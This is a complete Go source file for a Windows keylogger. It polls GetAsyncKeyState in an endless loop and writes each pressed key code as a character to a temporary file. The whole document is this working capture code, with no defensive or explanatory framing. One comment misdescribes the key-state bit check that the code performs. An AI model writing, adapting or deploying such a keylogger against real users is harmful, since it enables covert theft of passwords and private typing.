simple windows keylogger using GetAsyncKeyState

async-keylogger.go

package main

import (
	"fmt"
	"io"
	"log"
	"io/ioutil"
	"time"
	"golang.org/x/sys/windows"
)

var (
		moduser32 					= windows.NewLazyDLL("user32.dll")
		procGetAsyncKeyState 		= moduser32.NewProc("GetAsyncKeyState")
)

// KeyLog takes a readWriter and writes the logged characters.
func KeyLog(rw io.ReadWriter) (err error) {
	// Query key mapped to integer `0x00` to `0xFF` if it's pressed.
	for i := 0; i < 0xFF; i++ {
        asynch, _, _ := procGetAsyncKeyState.Call(uintptr(i))
        
		// If the least significant bit is set ignore it.
		//
		// As it's written in the documentation:
		// `if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState.`
		// Which we don't care about :)
		if asynch&0x1 == 0 {
			continue
		}

		// Write i to rw.
		err = writeKey(i, rw)

		if err != nil {
			return err
		}
	}

	return nil
}

// writeKey writes a character to a ReadWriter.
func writeKey(i int, rw io.ReadWriter) (err error) {
	_, err = fmt.Fprintf(rw, "%c", i)
	if err != nil {
		return err
	}

	return nil
}

// Main wrapper.
func main() {
	err := logToFile()
	if err != nil {
		log.Fatal(err)
	}
}

func logToFile() (err error) {
	file, err := ioutil.TempFile("", "asynckeylog")
	if err != nil {
		log.Fatal(err)
	}

	defer file.Close()

	for {
		err = KeyLog(file)
		if err != nil {
			return err
		}

		// Prevents 100% CPU usage.
		time.Sleep(1 * time.Microsecond)
	}

	return nil
}